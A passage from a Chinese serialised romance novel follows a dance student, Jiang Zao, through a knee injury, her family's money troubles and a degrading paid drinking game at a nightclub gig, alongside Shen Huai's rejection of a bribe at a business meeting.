至于他们,会分配到另外一位硕导那里去。
学姐开心之余,打听起沈淮和她的关系来。
姜早不知道该怎么说,索性便还是说沈淮是她的一位哥哥。
学姐羡慕她有一位这么好的哥哥。
她没有回应。
后面的好几天,都有人和她打听沈淮,好像变成了一件附属品。
她盘腿坐在舞房的地板上,用手揉着脚踝,呆呆地看着镜子里的自己,眼神空洞无神。
“姜早,还愣着干嘛,过来撕腿。”
“来了。”
她的软度一向很好,单腿上把干,往后滑,后膝盖骨能直接贴地。
旁边人耐不住撕腿,滑下来的时候腿打到了她的膝盖。
三秒后那人又忍痛爬上了把干,面色痛苦,怕被老师发现这边的动静,轻声道:“对不起啊姜早,没事吧?”
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姜早说:“没事。”
旁边同学松了口气:“那就好。”
“双飞燕准备..”
“前桥准备…”
“踢前腿一首歌时间,准备…”
“……”
做完一系列热身,老师在前面讲新组合的注意要领,他们盘腿坐在地上休息。
姜早的眼神落在膝盖上,清晰的酸胀感,让人忽视不了。
身体终究还是超负荷了。
“好了,接下来第四个八拍,做一个旋子,完了之后单膝起来,立腰拔背开始走场,想象自己是在大草原,都懂了没有?来,姜早你过来给她们示范一下。”
姜早单手撑地站起来,膝盖不稳,眉头微促。
姜早欲言又止。
“怎么了?还愣着干嘛?”老师催道。
“来了。”姜早把话咽了下去。
六个八,就一个跪地组合,应该能完成。
老师敲三下鼓:“准备。”
后面老师敲节奏,姜早按拍子卡动作,很顺完成的也很好,就在以为要顺利的完成时,做完旋子后跪地,膝盖的痛感清晰更重,几乎是腿自发的抗拒受力,忍不住要往旁边倒。
鼓棒敲鼓声停下来。
姜早扶着膝盖踉跄着站起来:“不好意思老师,我再来一次。”
老师眯眼朝她的裤子看。
绿色的舞蹈裤隐约透出了一点红晕,在布料上慢慢晕染开来。
老师招手唤她过去。
裤子揭开,腿上大大小小的乌青块,半水肿的膝盖上的紫红色伤口,红褐色的粘液从裂口滋滋冒出来。
“哎哟你这…先别做了,去校医室一趟,包一下。”
姜早放下裤管:“没事的老师。”
老师摇头:“过几天不是要去休斯顿比赛吗,你这腿就这样不管能去比赛?得了,快去吧,别耽误时间。”
姜早推脱不过,便去了校医室。校医开了个条子让她去医院,说除了骨关节磨损,膝盖肿块像有积液,要拍磁共振。
果然如那医生所料,拍完磁共振出报告,单子上膝关节腔少量积液,骨关节磨损。
她递过手里的单子,心中不安:“请问多久能恢复?”
医生扶了扶眼镜,看完之后面色和缓:“关节有点积液和磨损,不严重,你这两个月不要剧烈运动或者跑,我再给你开几盒药…”
姜早心中微黯,试探道:“如果运动的话?”
正在敲键盘的医生停下来,看她:“最好不要,以你现在身体承受不了后期带来的痛感。”
姜早道:“其实我觉得还行,不是很疼。”
医生撇了一眼单子再看她,扶了扶眼镜朝电脑上打字:“小姑娘别这么犟,身体是自己,这个病不是很大,大多数人调养一阵就好了,及早发现及早治疗,看你这个岁数还是学生吧,我给你开个单子,你给老师就行,这几天不要去上学了。”
姜早拿出手机,点开日历,还有七天就要去休斯顿参加比赛了。
“有别的处理方法吗?”
医生点头:“你要是实在想快点好,可以把积液抽取出来,三五天时间就能好,不过那几天需要住院观察。”
姜早心一跳,那就是有办法:“嗯,把积液抽取出来吧。”
交完费后姜早就后悔了,医生说是个关节穿刺小手术,需要有家属陪同才能做。
爸妈来,也许会说她一顿,不让她做这个手术。
窗口的风微凉,轻轻扬扬飘在她脸上,扬起她两边的碎发。手里的纸被风垂落,她蹲下身正要拾起。
抬眸的那一刹那,正见沈淮和江婷推着一个四五十岁的中年人的轮椅,从转角走出来。
27. 第 27 章
江婷不知道说了什么,逗得那位中年人一直笑。
沈淮没什么表情,但也偶尔附和她一两句。
细看能发现,沈淮与那个中年男人的面容有八分相像。
他们没有注意到椅子后的她,推着轮椅径直从她身前走过。
直到那两道身影消失在角落,姜早仍旧没有回过神,抓在手里的纸落在地上,卷起落下,卷起落下,落到了无人在意的角落。
突然的冷风扬起衣角,姜早回神,手掌按在地上,没完全伸直膝盖,骨髓酸胀痛感加强,忍不住跌在地上。
她提了一口气,然后慢慢,缓缓的叹出来。
“没事的。”
她自己对自己说。
她重新把手放到地上,借腿侧的力气,将半身慢慢撑了起来。
手上空落落的。
她将手摊开放在面前,原先手里应该是有东西的,对,单子,单子去哪里了?
她涣散的目光努力聚焦,明明周围空空的,很容易找才对,她却感觉找起来难极了,动一下头都废了好大的力气。
找到了。
原来在那,她松了口气。
花了好多钱的单子,不能丢了。
她抬腿欲跑,下一秒酸胀的感觉袭来,手忍不住扶住膝盖,刚迈出去的脚像是没反应过来一般,愣在原地。半响,她深深吸了一口气,又慢慢缓缓的吐出来,朝着地面,自语道:“没事的,姜早。”
她慢慢走,拾起地上的单子。
刚要离开,转角突然冲出来两个嬉闹的小朋友,其中一人背身跑,似乎在玩什么追逐战,笑着与后面人拉开距离,就这么猝不及防的撞上了前面的姜早。
纸又落回到地上。
“哎,都说了不要乱跑了,你们还跑!快把姐姐扶起来。”
“妈妈,你来帮帮我,我拉不动这个姐姐。”
“不对,她好像昏过去了?快!快去喊医生过来!”
周遭乱起来。
姜早的耳边出现很多声音,她想睁开眼睛看,却怎么也睁不开。膝盖很疼,疼的忍不住蜷缩,身上所有的感觉都没有了,只剩下那道清晰的痛感遍布全身。
太疼了,实在是。
太疼了。
清晨的光丝丝缕缕从窗户透进来,斜阳的阴影落到地面的半边。
姜早慢慢睁开眼,看着天花板,鼻尖是浓郁的消毒水味。
还在医院,这是病房。
姜早扶额欲站起来,突然床脚的身影感知到了动静,坐起来。
“醒了?”
姜早听到熟悉的声音,霎时间以为听错了,结果落下目光,真的是妈妈,以及她后面还有爸爸。
他们从陪护床上坐起来,脸色很差,看起来像是一夜没睡。
“感觉怎么样?还有没有哪里不舒服?”姜妈上前握住她的手。
姜早还没反应过来:“你们怎么来了?”
姜妈面色责怪,眼神中却流露出来掩饰不住的心疼:“医生打电话过来说你昏倒了,我们都急死了,连夜赶过来的。”
姜早右手盖住那只布满皱纹的手,安抚的拍了两下:“我没事。”
姜妈苛责道:“什么没事!你这条腿青一块紫一块的,人家小孩撞你一下,你就受不住疼昏过去了,你到底怎么弄的!”
姜妈越说越激动,眼里都有了泪珠,只是强忍没落。
姜早没说话。
医生联系。
那应该是打了紧急联系人的电话了,之前她设置的是妈妈,难怪。
学舞蹈避免不了受伤,她从小到大,腿上一直没断过伤,只是她喜欢穿长裤,父母没发现。爸妈不喜欢她学艺术,她自然也不会主动抱怨这些。
伤病而已,对于舞蹈生而言,再正常不过了,没必要矫情。
“那位小朋友没事吧?”她打断姜妈的话,问道。
提起这个,姜妈脸色不好,看起来像是吵过一架:“能有什么事,活蹦乱跳的,要不是她妈妈态度好,我还要替她妈妈教训一顿。”
没有追究就好,这孩子也不是故意的,其实是很小的力气,只是她确实没撑住罢了。
姜早松了口气。
姜早看着被子下面的腿,眼神空洞起来。
等到姜妈的嘴停下来,她才开口:“最近有比赛,训练的多了,磕碰比较多,没事很快就会消下去的,你们不用担心。”
虽然解释了,姜妈的脸色仍旧不好,又说到了她选专业的问题,说她当初选这个专业就是个错误。
等到话说完,姜早轻轻盖上眼:“妈,我想休息一会儿。”
因为生病的原因,姜妈没有在意她的态度,帮她掖了掖被角,就要出去。
“食堂要放饭了,我们去给你带点稀粥过来。”
“嗯。”姜早应。
她抬眸,看向那两道走在门口的背影。
视线落到父亲身上的时候,见他背后的肩头似乎露出一块白色绷带,后背也有明显的一块倾斜角度,半边是鼓起来的。
方才,似乎一直没听到父亲说过话,他一直站在妈妈的身后。
她隐约感觉到了什么,但没有叫住他们,任由那两道身影消失在门口。
直到门真正关上,她的泪水顺着泪道滑落下来。
爸爸的老东家是一家工厂,平时要人力运输很多染线,她早说过这样很容易受伤,让他早点换职业,父亲总说她杞人忧天,用辛苦才能赚大钱的谬论反驳她。
可是,年岁渐长,人终究会老,身体也是。
他早就不年轻了。
再进门时,她借口想吃糖调走了爸爸,留下妈妈。
妈妈不知道她在想什么,吹了吹碗里的粥递过来,亦如小时候那样。
姜早接过碗和勺,往自己舀了一口,咽下去:“爸爸的手怎么了?”
妈妈微怔,随后有些紧张的移开目光:“能有什么事儿。”
姜早凝视着碗里的粥,舀了两下,却没有食欲:“是不是厂里搬货砸到了?”
姜妈愣住:“你怎么知道?”
果然。
姜早说:“猜的。”
姜妈面露难色:“我本来想告诉你的,但你爸不让我说,担心影响你在这边学习。最近工厂老板们都在进机器,用机器代替人工,你爸的老朋友很多都失业了,你爸怕自己的厂里不要他,想在老板面前表现卖力一点,扛货的时候没注意摔下来了,手错位骨折了。”
姜早舀了一口粥,咽下去,咸的。
这才发现粥里面已经
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滴了好些眼泪。
姜妈叹了口气道:“他这个手肯定要做手术的,大医院说是什么神经坏了加上错位骨折,他自己找了个小医院自己让人家打了个石膏,说是打石膏很快也能好,其实就是想省点钱,给你办婚礼用,我们家虽然比男方家穷,但该有的面子一定要给你的,不让以后要受欺负。”
粥太咸了,实在是吃不进去了。
明明周围一切如常,却感觉喘不上气,难以呼吸,她将碗放在床头,缩回被子里。
“妈,我想先睡一会儿。”
姜妈帮她掖好被角,又在周围收拾了一会才出去。
不知多久,她感觉到枕头湿了,才坐起身,拿起手机搜了神经性骨折,因为搜索范围太宽泛,只能搜到大概的费用,8-12w,不大不小的数字。
这种时候,也许她该轻松的甩给爸爸十几万,让他不用担心钱,说她赚了很多钱,不用靠他们这点钱给自己面子。
可是,她没有。
城市的开销很大,她交好学费加上日常开销房租,存款一共只剩下六万。
原以为六万算是富足,算是财富自由。
但面对伤病,这点钱什么都不是。
她平生第一次有借钱的想法,沈淮有很多钱,也许这些钱对他而言,不值一提。痛苦的挣扎后,终究是弃了这想法,她没办法那么勇敢。
她的自尊,一直被小心翼翼的捧在怀里,再多的身份悬殊,也从未想过在他面前低头。
她希望,在爱中,他们是平等的,可以平视的。
至少,不能让他误以为,她在利用这层身份像他索取什么砝码。
她看向桌上的粥,眼神颤了颤,心中苦笑了一声,闭上眼。
怎么会这样,方才所权衡中,她的尊严竟然比亲情还重要。
明明只要和沈淮张嘴,就可以拿到很多钱。
她双手抱住头,将脸埋进枕头里,浑身控制不住的发颤。
可是,怎么办。
她真的不喜欢那样卑微被动的自己。
一种过错感几乎要将她吞噬。
她做了一场梦,梦里所有人都在骂她,她跪倒在地上捂住头,仍旧有声音传到耳朵里。她站起来跑,跑了好久好久,这声音仍旧在。
梦醒了。
是哭醒的。
抬头就看到姜爸将一个棒棒糖放到床头柜上,见她醒了,赶紧要走:“做噩梦了是不是?怎么梦里也爱哭,吃个棒棒糖心情好点,我先去外面给你打点水。”
姜早哑声道:“爸。”
那道身影顿在门口,回头犹豫不决,似乎在想要不要过来。
姜早偏过头,用手轻轻擦掉脸上的泪痕:“我要喝温水。”
“行,我去给你拿。”姜爸点了两下头,匆匆出去了。
藏在被子里的拳头骤然一松,姜早歪头苦笑般的提了提唇。
恰好时机屏幕亮起,之前一起商演的朋友又向她发来邀请,说有单子,问她要不要接。
姜早键盘上按下几个键,点了发送。
对,她可以接商演。
不是非要借钱。
短期内能赚钱的方法,可以多接几场商演。
她将手放在被子上,对着膝盖的位置,慢慢攥紧。
28. 第 28 章
她在医院休息了三天,爸妈坚决不同意她做积液抽取的小手术,她只能作罢。
三天之后,恢复的差不多,能正常行走就出院了。
姜爸妈本来要送她回家,被她以沈淮会来接她为由,拒绝了。
等到爸妈走后,她一个走到角落,打了一辆车回家。
走下车的时候,她看到门口有一辆陌生的红色跑车,明显是女生的款式。
微敞开的门,露出了一点光线,从里面传出一些交谈声。
她听出来了。
是江婷的声音。
也不知道为什么,看到门口出现人影的那一刹那,她第一个想法竟然是躲到树后面。
事实,她也确实这么做了。
等到她躲到树后,江婷正好走出来。
她今天穿的是一身纯白的小短裙,很安静,也很美好,脸上挂着浅浅想笑意,似乎是心情很好。
听到跑车呼啸而过,她没有离开,而是背贴着树慢慢蹲下,双手盘住腿,呆呆的看着地面。
好像她是觊觎别人美好的偷窥者一样,偷窥者她们的幸福。
不在家的这两天,他没有问过她,为什么不在家。
躺在病床上看着天花板的时候,她想,沈淮总是很忙,总要出差和工作,偶尔会不在家,也许自己生病正好赶上了这两天。
没想到,他原来在家的。
而且,他还邀请了江婷。
一阵震动从口袋里响起,一阵凉风吹过来,震动声停止。
她挂断了。
是沈淮打来的。
可是她现在不想接。
她的手指尖轻抚脚边的小花,眼睛却是木木的,毫无生气。
人心好复杂,下辈子,她要当一朵花,一棵草,一片云。
下一秒,一双鞋突然出现在她眼前。
“怎么不进去?”沈淮摘掉身上的西装,披到她身上。
他的语气温和,让她不由得生了几分委屈。
明明他做错了事情,为什么云淡风轻的像是什么也没有发生过那样。
“看风景。”她手扶着树试图站起来,膝盖泛酸,忍不住踉跄了一步,跌到沈淮身上,正在她恼火的想要往后退的时候,沈淮突然揽住她,收紧手,将她拦腰抱起。
腾空的那一刹,她不受控本能的拦住他的脖颈。
沈淮抱着她往里走:“妈刚刚电话里说,你的腿受伤了,这几天在家好好休息,不要出来了。”
姜早还在想着刚才的事,只低低的嗯了一声。
进屋后,姜早瞥到了还在播放的电视剧,和桌上的糕点零食,他们两方才应该就是在那里一起看电视吧。
她被放到床上,盖上了被子。
沈淮说等会给她送水过来,说完便走了。
她把门反锁,钻回了被子里。
夜里很凉,她很冷,也有些困了,明天还有一场商演,白天要早点起去舞蹈房学一下舞段。今晚要早点睡,不然明天起不来。
次日一早,她醒过来,简单收拾了一下,套了一件开衫就打算出门。
沈淮从厨房里走出来,手里还端着一杯热牛奶,抬头看到她,将牛奶放到桌上,走到门口挡在她面前:“你去哪?”
姜早专心系着鞋上的绳结,骨伤还没完全好,不完全弯曲膝盖系鞋带,系起来有些难,系到后面有些恼了,她胡乱系了一通,没再管鞋带系的干不干净,握住门把手打算拧开,却发现沈淮的手挡在门把上,她蹙眉解释:“去学校。”
沈淮不听:“妈说了,学校里帮你请了长假,这两天你不用去。”
姜早偏头,躲开那道审视的目光:“我专业老师让我过去一趟。”
沈淮嗯了一身,伸手掏出手机,点了一下,放到耳边:“我让校长和你专业老师说,你受伤了不方便去学校。”
姜早急了,一把攥住他的手:“不许打电话。”
沈淮把手机收回口袋里:“嗯,不打。”
姜早收回手:“我要出门。”
沈淮从旁边的门挂上拿下一串钥匙,披上西装外套,抬手理袖口:“嗯,先去吃早饭,吃好早饭我陪你去。”
姜早瞪了他一眼,转身往回走:“我不出去了。”
沈淮上前两步抓住她的手腕,被她甩开,他又上前两步挡住她的去路,认真打量她的表情,小心试探道:“谁惹你不开心了?”
“没有。”姜早径直越过他,直接去了楼上,反锁了房门。
她打开手机,对着视频学舞,这个舞很简单,只有四个八拍,她很快就扒了下来,跳三遍就熟了。
门口传来敲门声,问她要不要喝牛奶。
她在床上坐下,对着门口的位置,仿佛能透过门看到沈淮关切的脸,她没来由的烦恼,蹙眉道:“不想吃。”
“嗯,那我去烤面包过来。”门口的人说。
姜早扶额:“我不要。”
可惜门口的人似乎早就离开了。
她没来由的反感,眉头不由得蹙的更紧,沈淮对她很好,可惜她知道沈淮还喜欢江婷,如果不知道就好了,让她一直这样误解下去。
也许就会误以为沈淮喜欢她了。
可惜她知道。
这样的关怀,让她无休止的痛苦。
“面包给你放在门口了,你记得吃,我下午有个应酬要很久,你有事给我打电话。”陶瓷碗被轻轻放在地上,与地板发出轻轻的声音,不大不小,随即脚步声的主人越来越远。
姜早走到窗口,撩开窗帘。
黑色的迈巴赫在石阶小道上穿行,驶离了别墅区。
姜早打开门,低头,目光微闪。
门口的瓷碗里,放着一个刚烤好的吐司面包,里面还做了夹心...
......
打车十五分钟的路程,她到了商演的地方。
那个朋友提前和她打了预防针,说今天的商演是高端局,在包厢里跳一支舞就可以拿两千,在外面的展台上替品牌方正规表演是五百,让她自己选。
她两个都应下来了。
门口接应的商演朋友看到她,跑过来挽住她的胳膊:“你真是让我惊讶,怎么这回想着接两个了~我还以为...”
毕竟上一次,这种类型的商演,姜早十分抵触。
她本来也是抱着试一试的心态,顺带提了一嘴包厢里的
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活儿,没想到姜早能应下来。
姜早眼中闪过落寞,抬头时候已经消失不见,取而代之的是一抹较为明媚的笑意:“都是卖艺,在哪都一样,能赚钱就好了。”
商演的朋友颇感觉惺惺相惜,听完后连连点头:“我也这么觉得!外面赚钱都很辛苦的,我们这样跳跳舞就能拿钱的活儿再简单不过了。我还担心你介意这个,既然你不介意,以后可以经常跟我跑单呀,我这里有很多价格高的单子都可以做。”
姜早有些不自然的收紧了手。
商演的朋友叫做彭高兴,毕业后没有找工作,专门做舞蹈演员,或是高端场合或是低端酒局都会做,只要赚钱都有她。现在想来,也许那样才是生活。
生活,就是要适当低头。
她本来也就是普通人。
能拿艺术赚钱,应该觉得幸运才对。
她的手骤然放开,侧头看着商演的朋友,慢慢开口:“嗯,好。”
商演的朋友揽住她的手往里走:“我这边的单子现代古代都有,以你的能力肯定都能驾驭,我到时候直接联系你,看你排期。哦对了,今天这场,你要稍微注意一些,那几个老板脾气不太好,经理交代了,尽量少和他们说话,跳完之后走就可以了。”
“好。”姜早目光有些涣散的望着前面的路,眸里的光渐渐淡了。
换好服装,一共五个人,在空置的包厢里集体合了一遍队形,就跟着经理进包厢了。
包厢里有几个中年男人,每个人身边都贴着两三个穿着暴露的美女,还有一股浓郁的烟味。
姜早忍了两次,才勉强按住不适。
这次的商业演出,她们的主要任务只有跳舞,跳完舞就可以走,压力可以小一些。
她们的服装不算暴露,古风唐装而已,但配合上昏暗的灯光,以及那些人毫不掩饰上下打量的眼神,连露肩她都觉得不适。
偏她的舞蹈动作就是有很多露肩膀的动作,音乐一响,所有人的目光都聚焦上来。
微妙的舞姿,若隐若现的身体曲线,半遮半掩,配合动作眼神,有一种极其魅惑的感觉,让人垂帘三尺。
其中不乏有人拿起手机拍视频,嘴里还讲着荤段子。
姜早只撇了一眼,暗自庆幸自己的脸上戴了半面纱,不至于让熟人认出来。
似乎是那道对视的目光让那个男人注意到了,他高兴的往嘴里灌了一杯酒,眼睛再也没从她脸上移开。
音乐结束,经理站到她们前面,正要说一堆漂亮话。
坐在沙发中间的男人,挥退两边的女人,掏出一根烟,抽了一口:“来都来了,肯定不能让妹妹们空手而归啊是不是?”
被叫做苏总的人约莫四十岁左右,坐在主位,是所有人里面身份最高的人,他一说话,所有人都过去。
苏总大笑了一阵之后,从包里拿出字典厚的钱,指尖轻佻最上面的一叠钱,将其摊开在桌上。
他身边的人是他的助手,看到后立刻会意,将钱分成七八分,全都压到空酒杯的下面,再把酒杯灌满。
苏总靠到椅背上,单手搭着沙发边,手掸了一下烟头,玩味道:“喝多少,拿多少,想不想玩?”
29. 第 29 章
很少人能抵制住金钱的诱惑,特别是这种唾手可得、轻而易举的。
这也许是那些工人省吃俭用好几天才能攒下来的钱。
所有人都在犹豫,可从他们眼里的目光不难看出,都已经心动了。
经理双手搓了搓,心里为难,他一定是不能开罪客户的,这种身份的客户,一年能在店消费达到几十万到上百万,光酒水提成就是一个不得了的数字了,开罪了这种身份的人,上面的人追究下来,哪还有他容身之地:“苏总慷慨,你们有没有酒量好的要来挑战一下。”
彭高兴最先反应,她经常混在酒局,应对这种场面得心应手,这种钱自然不会放过,喝点酒而已,点到为止何乐不为。
“好像是挺好玩,我先来。”她上前领了一杯酒,先是抿了一口说了句好酒,然后慢慢将酒送进去。
许是有了彭高兴起头,其他几个人也跟着喝了。
唯独姜早站在阴影里,迟迟没有上前。
苏总一直留意着角落,见状眉头微蹙,表情明显不愉快。其他人不难看出,苏总要的就是站在角落里的女人喝酒,剩下那些女人就当个乐陪跑的。
旁边的助手给经理使了个眼色。
经理是个人精,这形式如果分析不出个所以然来,几十年的修为就白修了,几乎是立刻,他转身对姜早说:“来都来了?要不要喝一杯再走?这一杯底下的钱也比你们这一单总价高多了,这提成你不想要吗?”
旁边喝到脸红的彭高兴回头,替她答道:“我这位朋友酒量不太好,恐怕是喝不了了。”
虽然不知道姜早能不能喝酒,但是她了解姜早的秉。
姜早自尊很强,肯定不会喝的。
苏总抿了口酒,闻言神色不悦,放下酒杯的时候,声音清脆的一声响,所有人都静了,周遭空气也开始凝固起来。
在这寂静中,苏总不以为然的笑起来:“喝不了那才有挑战性嘛!这位妹妹,你能喝多少,底下的钱我给你双倍,敢不敢?”
所有人都起哄起来。
彭高兴有些担心的往后看,这条件很让人心动没错,但她敢肯定,对于姜早来说,这是一种折辱,张嘴正欲再说。
却见那道人影从阴影处走出来,暖光照在那张极美的脸上。
她的脸上竟然是明媚的笑意。
彭高兴错愕,心疑是不是自己喝多了,拿指尖敲了两下自己的脑门,用力闭上眼再慢慢睁开。
没看错,姜早竟然真的在笑。
很浅,是在笑,可眸色却与平常见她时不同了。
她说不清到底是哪里不同。
就是,不同了。
“我喝。”她的语气听不出情绪,面上的表情也淡淡浅浅的。
在众人的起哄声中,姜早灌入第一杯酒。
在这热闹的欢呼中,她感觉到了冰天雪地的冷,兜兜转转这么多年,小心翼翼捧呵护的骄傲和尊严,还是被现实摔碎了。
酒落入喉咙的那一刻,时间过得很慢,她似乎看见华光璀璨的聚光灯。
身穿金贵表演服的女人,单手放在肩上,做华丽的谢幕。
人声鼎沸中,聚光灯的颜色越来越淡,消失不见。
刹那,她眼角晶莹的滑下一滴泪,被她侧头用撩发掩盖,无人察觉。
旁边起哄的人将钱塞进她怀里,趁机摸了一把她的腰。
姜早反感的往后退了一步,所有人以为要有情绪,却见她拿起了第二杯酒朝嘴里灌下去。
所有人震惊后,都在惊呼。
唯有彭高兴注意到了姜早扶着桌子的手,白皙的手腕上已经泛起了青筋,看起来扶着桌子已经是用了极大的力气。
她已经喝醉了。
经理电话响了,见里面玩的热闹,还没有要停下来的意思,接起电话出去了。
经理深吸了一口气,站在门口,毕恭毕敬的接起电话,语气谄媚。
“喂,裴总。”
“让你送的典藏酒送过去了没有?”电话里是一个年迈老人的声音。
经理回头看了一眼半敞开的门,里面还没有结束,如实道:“还没有,安排给苏总的那几个舞蹈演员还没有收队,我还在苏总这里等她们。”
电话里的老人明显生气了:“管她们做什么?别耽误最要紧的事,今天有一位圈子里的贵客在这里谈合同,你赶紧把酒送过去,别耽误了贵客的事,耽误了那个合同追究起来,我们都得滚蛋,明白吗?”
经理心惊,挂了电话之后连身后的门都忘了关,匆匆忙忙跑走了。上层之前一直让重视的是苏总那一堆人,刚刚那通电话明显那边的贵客比苏总的身份要高很多,耽误就完了。
经理气喘吁吁的跑到顶层包厢,用随侍递过来的毛巾擦了擦额上的汗,深吸了口气后,抱着酒推开门,里面的气氛安静的可怕。
他刚从热闹中走出来,一下子还有些不适应。
“几位先生好,这是我们店的藏酒,莱总请你们慢用。”放下酒后,他有意想要看看是哪些上流人士,抬眸的一瞬间对上一道冷若冰霜的眸子,他打了个寒颤,识趣的走了。
这里面几位的压迫感,比起苏总那帮人来说,强多了。再里面多呆一秒,都感觉浑身不舒服。
包厢门被轻轻关上后。
身穿暗蓝色西装的男人朝旁边的助理递了一个眼神。
助理立刻会意,笑着给角落里的人倒酒:“先生,这合同您看了有一会儿了,是有什么顾虑吗?”
男人坐在阴影里,眼底一贯的清冷和淡漠,仿佛与世界隔离了一样。闻言,他盖上膝盖上的合同书,随手放到桌上,起身理了理右手西装纽扣:“我想贵公司还没有真正想要和我们达成合作,今天就谈到这里,希望下次能让我看到你们的诚意。”
蓝西装的男人慌忙站起来:“这次的合作我们愿意多出百分之二十的利润给沈氏,希望您再考虑考虑。”
沈淮淡淡道:“不好意思,暂时不考虑和贵公司合作。”
蓝西装的男人似深思了一番,凑到沈淮身边道:“这样吧,只要你愿意把我们引荐给沈总,我们愿意私下里每年给你一层分成,怎么样?”
沈淮敛了敛神色,望向他时,某种一片冰寒,没有一丝一毫的温度。
只是
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那一眼,穿着蓝西装的男人莫名有些心虚。
他试探道:“那不然,两成?恕我直言,沈氏集团虽然在京城地位高,但是给底下的高层未必能开得出这么高的薪资,有这些钱够你下半辈子不愁吃喝了,再高,我相信你也吃不下。”
他曾和很多个企业的高层达成过这种秘密合作,几乎所有人都会答应他的请求,没有人会拒绝那庞大的数字。这个世界上,没有人会不爱自己,不爱自己的人生。
拿金钱挑战人性,本来就是十有八输。
他一贯是这么想的,可是在说完后,他一直注视着的那个人,脸色竟然丝毫没有松动,反而眸底的颜色更深了,深不见底,让人不自觉生出一种恐惧的感觉。
陆特助睨了一眼对面的人,白眼快翻到天上。
这要是一般人说不定真的动心了,可站在他面前的是真正沈氏集团的继承人,这点蝇头小利怎么可能让他心动。
更何况,这点蝇头小利的代价是牺牲沈氏长远利益,这很明显是一笔赔的买卖。
“抱歉,看不上。”沈淮说完,越过他直接往门口走。
蓝西装的男人被这口气惹恼了,转身骂道:“恕我直言,您从进来开始就只看了一眼合同书,后面一直在留意手机,对我们的介绍爱答不理,我不知道你到底有什么重要的消息要等。这是商业会谈,你连基本相互尊重的社交礼貌都没有,沈氏集团就派出这么一个人打发我们?”
沈淮手刚放到门上,闻言朝他看过去,神情淡定自若。
陆特助睨了他们一眼,与自家老板一样冷冰冰的眸子:“正因为我们尊重你们,所以才等到你们说完再走,不然以你们介绍的内容,我们合同书都不会看,早就走了。”
蓝西装的男人气氛的问:“你们到底什么意思?”
沈淮落下放在门把的手,盯着那个男人,忽然就笑了,那笑意不及眼底,看的让人发慌。
“来这里,是因为你们的项目书做的很漂亮,可很遗憾,你们也只有项目书做的漂亮,华而不实的空架子,沈氏没兴趣养酒囊饭袋,贵企的利润这么高,你们自己吃得下吗?”
蓝西装的男人反驳不了,眼看着那两个人离开,转身拿起桌上那瓶酒在地上摔了粉碎。
旁边的助理赶忙上前:“您别生气,要不问一下江总,她不是说这个合同一定能拿下来吗?”
蓝西装的男人蹙眉闭上眼,语气都掩饰不住暴躁:“我也是信了那个女人的邪,都说沈氏集团现在合作没那么好谈了,怎么可能随随便便能答应下来我们的合同。”
助理叹气道:“白费了我们集团给江氏这么多好处。”
印象中,光刷给江氏的流水,就已经足足六七百万了。他们这么大的投入,完全是看中了江家与沈家的关系,以为江婷能替他们打破与沈氏集团的突破口。
没想到竹篮打水一场空。
蓝西装的男人慢慢睁开眼,眼神阴郁起来:“当然不能白给,派几个人去江氏找点麻烦,做干净点,别露痕迹。”
做生意,讲究诚信。
没谈成的生意,那怎么能算合作伙伴呢。
30. 第 30 章
走廊里,满是酒味,醉的让人恍惚世界真假。
两道身影淡然地穿过走廊,这一片的灯红酒绿之下,他们一出现便像是不属于这里,身上的冷气似带着白雪,皑皑而立,干净得不沾染杂尘。
十分的吸引人,但也让人莫名生出距离感。
动物之间的初次见面,总因不知深浅,不敢贸然上前。
多的,是虎视眈眈的观察。
早已观察许久的女人盖上了化妆镜,放进口袋里,踉跄了两步撞上了正从包房里端酒出来的服务生。
“哎呀。”女人跌在地上,裸露了半边肩膀,抬头两眼巴巴的看着迎面走来的那两个男人。
脸上的表情,是羞臊不已。
服务生赶忙伸手:“女士你没事吧?”
这条路这么宽敞,能够撞上也算是她倒霉。
女人应对那只手,半推半就,故作醉的再次跌倒在地上,扶额娇滴滴道:“不好意思,喝的太多了,实在站不稳。”
服务生目瞪口呆,低头看着自己的手,明明刚刚扶住了,怎么这人跟个泥鳅一样,从手里滑下来了。等到她看到旁边站的这两人的时候,眼神很快的转了转,心里暗暗翻了个白眼,蹲下身自顾自的捡起地上的残渣。
是好看,其中一个还有点像明星,她甚至觉得有些眼熟。
捡得正尽兴,昏暗的灯光下,一只手递来一个灰色手帕。
服务生心中想,又是什么戏码,挑眉抬头,正对上那人关怀的目光。
陆特助拿手帕晃了晃:“碎玻璃不太好收拾,你用这个包起来吧。”
手帕落在手里的那一瞬间,服务生愣了愣,有些错愕的看着那个伸出援手的人。那两人气质矜贵,好看的不像是落入凡尘的人,能做出这么普度众生的人,原来是神。
刚刚是她太草率了,这种男人,连她都有些着迷了。
她反应过来,匆匆说了句谢谢,用布包着玻璃飞快的收拾好,匆匆逃离战场。
逃到无人的角落里,服务生捂着自己砰砰的心跳,慌张的摸出手机打通了电话。
“喂,向晨曦同学,知道你要向我求助,但是很遗憾,上面下了死命令,有意要让你在社会磨砺,若我施以援手,将断我经济命脉,实在抱歉了。”电话里的声音懒散的说道,周围似乎还有一阵敲击键盘的声音。
向晨曦捂着心口,一时也忘记了回怼这句挖苦,带着一丝腼腆的笑意,羞涩道:“向北辰,你喜欢一个女生,她站在你面前,你会有什么感觉?”
别墅里,向北辰从办公椅上坐起来,一时费解的望着窗口的风景:“你问这个干嘛?好心提醒你一句,上面派你去那里是有意让你精神上折磨的,不是让你在盘丝洞里成亲的。”
向晨曦心情降了一半,垮着脸道:“你懂什么?”
向北辰挑眉:“懂你呗,也懂男人,去那地方的没什么好男人,我劝你醒醒。”
向晨曦心情骤降,到了冰点,呵呵了两声挂断了电话。
虽然不中听,但是都听进去了。
可悲,他说的太有道理了。
她深深叹了口气,把盘子塞到了旁边路过的服务生手里,掏出两张红票子堵住了他要拒绝的嘴。
“不好意思,姐失恋了心情不好,请半天假,剩下的几桌你帮我弄了吧。”
年纪很轻的服务生手脚爽快的接过那两张红票,抬头好心提醒道:“姐,我在楼下听说,后面那几桌有玩的很疯的,进去会给很多小费,你真的不去?”
向晨曦心情降到极低点,摆了两下手,男人果然都不是什么好东西,能到这里来的,都不是什么好人,都是社会残渣,白瞎了她刚刚心脏多跳的那几下。
“没兴趣,你去吧。”她没再停留,翻了个白眼就走了。
年轻服务生端着托盘,兴奋的朝那背影说再见。
走廊里
女人娇怜欲滴的跪倒在地上,试图用精湛的演技,勾引猎物上线。
抬眸的刹那,她看到刚刚递手帕的那个斯文男人朝他伸出了手。她心跳的很快,暗笑一声,到手了。两只手握住的那一刹那,她感觉那只手握的太重,娇滴滴的喊了一声疼。
结果下一秒,那只手将她在地上拖行,拖到了墙边。
她不可思议的抬头。
